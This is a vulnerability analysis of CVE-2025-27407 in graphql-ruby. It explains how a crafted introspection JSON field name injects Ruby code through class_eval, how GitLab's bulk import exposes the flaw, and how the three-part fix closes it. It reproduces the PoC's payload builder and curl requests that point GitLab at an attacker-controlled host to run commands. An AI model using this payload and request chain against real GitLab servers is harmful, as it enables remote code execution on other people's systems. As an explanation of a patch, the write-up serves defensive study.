The graphql-ruby fix for CVE-2025-27407 ships in three pieces. It validates field and argument names against /^[_a-zA-Z][_a-zA-Z0-9]*$/, so a name with a newline raises InvalidNameError before reaching anything else. It rewrites two class_eval <<-RUBY blocks as define_method(name) { ... }, so the method body is a captured closure rather than compiled source. And it adds a new RuboCop rule, cop/development/no_eval_cop.rb, that bans class_eval, module_eval, and instance_eval from the codebase forever.
The third one is the admission. Robert Mosolgo fixed two call sites and then put a tripwire on the call sites that don't exist yet.
The loader's job is to define classes from a JSON string
GraphQL::Schema::Loader.load takes a Hash, the response to an introspection query, and walks schema["types"]. For each type the loader builds an anonymous Ruby class. For an INPUT_OBJECT the relevant branch is:
when "INPUT_OBJECT"
Class.new(GraphQL::Schema::InputObject) do
graphql_name(type["name"])
description(type["description"])
loader.build_arguments(self, type["inputFields"], type_resolver)
end
build_arguments iterates each entry and calls the DSL macro that defines the argument:
def build_arguments(arg_owner, args, type_resolver)
args.each do |arg|
kwargs = { ..., camelize: false }
if arg["defaultValue"]
...
end
arg_owner.argument(arg["name"], **kwargs)
end
end
arg["name"] is a string from a JSON document the loader was just handed. With camelize: false it flows through Argument#initialize unchanged. The argument macro on InputObject (pre-patch, lib/graphql/schema/input_object.rb):
class << self
def argument(*args, **kwargs, &block)
argument_defn = super(*args, **kwargs, &block)
...
# Add a method access
method_name = argument_defn.keyword
class_eval <<-RUBY, __FILE__, __LINE__
def #{method_name}
self[#{method_name.inspect}]
end
RUBY
argument_defn
end
end
method_name is whatever string came out of arg["name"] in the JSON. The HEREDOC interpolates it as Ruby source, then class_eval compiles and runs it. Two contracts touch in this method. The DSL's input contract assumes method_name is an identifier the developer typed in their schema file. The loader's input contract allows method_name to be anything a remote JSON document says it is. The Ruby compiler cannot tell which contract it is serving.
The PoC is one Python file
LoGGGG2402/CVE-2025-27407 is a 358-line poc_host_port_cmd.py plus a podman lab.sh that stands up gitlab/gitlab-ce:16.11.8-ce.0. The script's malicious-schema builder is the whole exploit:
def malicious_schema(command):
payload_name = f"safe\nend\nsystem({command!r})\ndef safe2"
return {
"data": {
"__schema": {
...
"types": [
...
{
"kind": "INPUT_OBJECT",
"name": "ExploitInput",
"inputFields": [
{
"name": payload_name,
"description": None,
"type": {"kind": "SCALAR", "name": "String", "ofType": None},
"defaultValue": None,
}
],
},
],
...
}
}
}
When that name flows through the HEREDOC the generated source becomes:
def safe
end
system("touch /tmp/cve_2025_27407_gitlab_marker")
def safe2
self[:"safe\nend\nsystem(\"touch /tmp/cve_2025_27407_gitlab_marker\")\ndef safe2"]
end
def ... end opens and closes a junk first method. system(...) runs at class-definition time, in whatever process is calling Schema::Loader.load. def safe2 opens a second method that consumes the trailing tokens so the source parses. The Ruby compiler accepts all of this because that is what class_eval-with-string is: a way to ask the compiler to extend a class from a string of source code, where the string is whatever the calling code wants to compile.
The ExploitInput type is never reachable from the Query root the schema declares. It does not have to be. Loader.load iterates every entry of schema["types"], reachable or not, and runs the DSL macro on every inputField it finds.
GitLab made from_introspection a network endpoint
The graphql-ruby README documents GraphQL::Schema.from_introspection as the way to load an external schema. GitLab uses it for Direct Transfer (Bulk Imports), the feature that lets a destination GitLab pull groups and projects from a source GitLab the user names. The source URL is a value in the user-supplied import configuration.
The chain inside a destination GitLab:
- An authenticated user POSTs to
/import/bulk_imports/configure with bulk_import_gitlab_url (their value) and bulk_import_gitlab_access_token (also their value).
- The user POSTs to
/import/bulk_imports to trigger the import.
- A
BulkImports::PipelineWorker (Sidekiq) constructs BulkImports::Clients::Graphql.new(@url). That client wraps Graphlient, which wraps GraphQL::Client.
GraphQL::Client.load_schema POSTs the standard IntrospectionQuery to <source>/api/graphql and feeds the JSON response to GraphQL::Schema::Loader.load.
- The loader compiles the response.
system(...) runs as the gitlab user.
The PoC stands up a Python ThreadingHTTPServer on port 8001 that responds to the introspection POST with the malicious schema and to a few sidecar paths (/api/v4/version, /api/v4/personal_access_tokens/self, /export_relations/status) so the source looks alive enough for GitLab to commit to the request. The trigger is three HTTP requests:
# 1. Sign in. Any user that can create a destination namespace will do.
curl -c jar -X POST http://gitlab/users/sign_in \
--data-urlencode 'authenticity_token=...' \
--data-urlencode 'user[login]=root' \
--data-urlencode 'user[password]=...'
# 2. Configure the source. The URL is yours.
curl -b jar -X POST http://gitlab/import/bulk_imports/configure \
--data-urlencode 'authenticity_token=...' \
-d 'bulk_import_gitlab_url=http://attacker:8001' \
-d 'bulk_import_gitlab_access_token=anything'
# 3. Trigger the import. evilgroup does not have to exist anywhere.
curl -b jar -X POST http://gitlab/import/bulk_imports \
-H 'Content-Type: application/json' \
-H 'X-CSRF-Token: ...' \
-d '{"bulk_import":[{"source_type":"group_entity","source_full_path":"evilgroup",
"destination_name":"x","destination_namespace":"","migrate_projects":false,
"migrate_memberships":false}]}'
The Sidekiq worker's first action against the source URL is the introspection fetch. The worker has the gitlab user's filesystem, the gitlab user's database credentials, and the gitlab user's process tree. The PoC's --cmd flag is what runs in that environment.
The PoC README is explicit about who can do this:
The PoC trigger does not require an admin account; any authenticated user that can create/import into a destination namespace can hit the vulnerable Direct Transfer path.
GitLab's own Direct Transfer setting (bulk_import_enabled) is off by default on self-managed instances. Patched GitLab versions are 17.7.7, 17.8.5, and 17.9.2. GitLab CE 16.11.8, the version the PoC targets, is on a release branch that went end-of-life before March 2025; it has no fix shipped against this CVE.
The fix is three pieces
The first piece is NameValidator.validate!(@name), called from Argument#initialize and Field#initialize. The validator is twelve lines:
module GraphQL
class NameValidator
VALID_NAME_REGEX = /^[_a-zA-Z][_a-zA-Z0-9]*$/
def self.validate!(name)
name = name.is_a?(String) ? name : name.to_s
raise GraphQL::InvalidNameError.new(name, VALID_NAME_REGEX) unless name.match?(VALID_NAME_REGEX)
end
end
end
Names with a newline, paren, comma, dot, or hyphen now raise InvalidNameError at the time the argument is created, before any Ruby is compiled. The PoC's safe\nend\nsystem(...)\ndef safe2 does not pass. CVE-2025-27407 is closed at the validator. The new spec file proves it with three test JSONs whose only crime is the field/argument name: something-wrong, bad.int, bad, input. Each one raises.
The second piece is the rewrite. InputObject#argument no longer compiles the accessor from a string:
- # Add a method access
- method_name = argument_defn.keyword
- class_eval <<-RUBY, __FILE__, __LINE__
- def #{method_name}
- self[#{method_name.inspect}]
- end
- RUBY
+ define_accessor_method(argument_defn.keyword)
def define_accessor_method(method_name)
define_method(method_name) { self[method_name] }
alias_method(method_name, method_name)
end
define_method(name) { self[name] } captures name as a closure variable. The block is parsed once when graphql-ruby itself was loaded. Whatever string the JSON provides ends up as a captured value, never as a token in a Ruby program the compiler reads. The same shape replaces a second class_eval-with-HEREDOC in BuildFromDefinition#define_field_resolve_method:
- owner.class_eval <<-RUBY, __FILE__, __LINE__
- # frozen_string_literal: true
- def #{resolve_method_name}(**args)
- field_instance = self.class.get_field("#{field_definition.name}")
- context.schema.definition_default_resolve.call(self.class, field_instance, object, args, context)
- end
- RUBY
+ define_field_resolve_method(owner, resolve_method_name, field_definition.name)
def define_field_resolve_method(owner, method_name, field_name)
owner.define_method(method_name) { |**args|
field_instance = self.class.get_field(field_name)
context.schema.definition_default_resolve.call(self.class, field_instance, object, args, context)
}
end
The validator stops the attack from reaching either eval site. The rewrite stops a hypothetical bypass of the validator from reaching either Ruby compiler.
The third piece is cop/development/no_eval_cop.rb:
module Cop
module Development
class NoEvalCop < RuboCop::Cop::Base
MSG_TEMPLATE = "Don't use `%{eval_method_name}` which accepts strings and may result evaluating unexpected code. Use `%{exec_method_name}` instead, and pass a block."
def on_send(node)
case node.method_name
when :module_eval, :class_eval, :instance_eval
message = MSG_TEMPLATE % { eval_method_name: node.method_name, exec_method_name: node.method_name.to_s.sub("eval", "exec").to_sym }
add_offense node, message: message
end
end
end
end
end
The cop does not look at arguments. It does not check whether the eval call passes a string or a block. It bans the method names entirely from the codebase. The maintainer's instruction to future contributors of graphql-ruby is not "be careful with class_eval." It is "use class_exec instead, and pass a block, and we will not let you write the unsafe form here."
The DSL trusted its caller
The eval-with-string shape was the right call when the only callers were graphql-ruby's own DSL. argument :title, String is identifier-only at the source level, and HEREDOC compilation produces a stack trace pointing at the developer's schema file when the field is later misused. The contract the DSL was written against is: the strings the macro receives are author-typed Ruby identifiers in a Ruby source file the developer just wrote.
Schema::Loader.load violated that contract. The loader is documented as the way to ingest an external schema; the README's from_introspection example expects the input to come from a remote server. The remote server's response then flows directly into the same argument macro the DSL uses for :title, String. The two callers share one primitive. The contract one assumed is invalidated by the second.
graphql-ruby is the upstream of every Ruby project that loads an external schema by introspection. The GHSA names the downstream surface flatly:
Any system which loads a schema by JSON from an untrusted source is vulnerable, including those that use GraphQL::Client to load external schemas via GraphQL introspection.
GitLab is the most public exposure but it is not the only one. Every Ruby app that fetches a schema from a partner's GraphQL endpoint at boot, every CI job that runs GraphQL::Client.load_schema against a service that another team operates, every gem that uses from_introspection to mirror a remote API, was running this primitive against whatever the remote server chose to return.
This is the content-is-command shape at a layer below the application. The content is a JSON document describing types. The interpreter is the Ruby compiler. The content channel was designed to describe a remote schema; the interpreter chose to define classes from its strings. The boundary the DSL needed (caller-typed identifier) and the boundary the loader provided (whatever the wire said) live in two different files, and nothing in the type system or the macro signature said the second was a subset of the first.
The cop is the verdict
graphql-ruby is the kind of library where the bug class is structural, not local. A point fix would have been to replace the two class_eval blocks with define_method and validate the names; that closes CVE-2025-27407 cleanly. The maintainer also added a project-wide RuboCop rule that bans the entire _eval family from the codebase, because the pattern is older than the two known instances and the next instance is the next contributor who reaches for the most natural Ruby tool to define a method from a name.
That is a design-debt-driver admission written into the lint config. The two class_eval sites were instances. The pattern was the design. Eval-with-string DSLs are pleasant to write and structurally indistinguishable from RCE primitives once the input source widens. The maintainer chose to amputate the pattern instead of trusting the next code review to catch the next site.
define_method(method_name) { self[method_name] } is the same six tokens the original class_eval was producing, written without going through the Ruby compiler. The compiler was the bug.
PoC: LoGGGG2402/CVE-2025-27407